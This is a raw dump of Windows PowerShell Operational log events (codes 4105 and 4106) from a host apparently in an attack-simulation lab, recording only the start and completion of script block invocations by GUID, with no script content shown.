SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023067
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023066
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023065
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023084
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023083
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023082
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023081
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023080
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023079
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023078
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023077
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023076
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023075
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023094
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023093
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023092
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023091
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023090
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023089
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023088
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023087
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023086
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023085
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023104
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023103
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023102
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023101
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023100
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023099
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023098
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023097
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023096
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023095
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023114
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023113
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023112
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023111
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023110
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023109
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023108
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023107
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023106
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023105
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023124
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023123
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023122
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023121
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023120
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023119
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023118
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023117
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023116
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023115
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023134
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
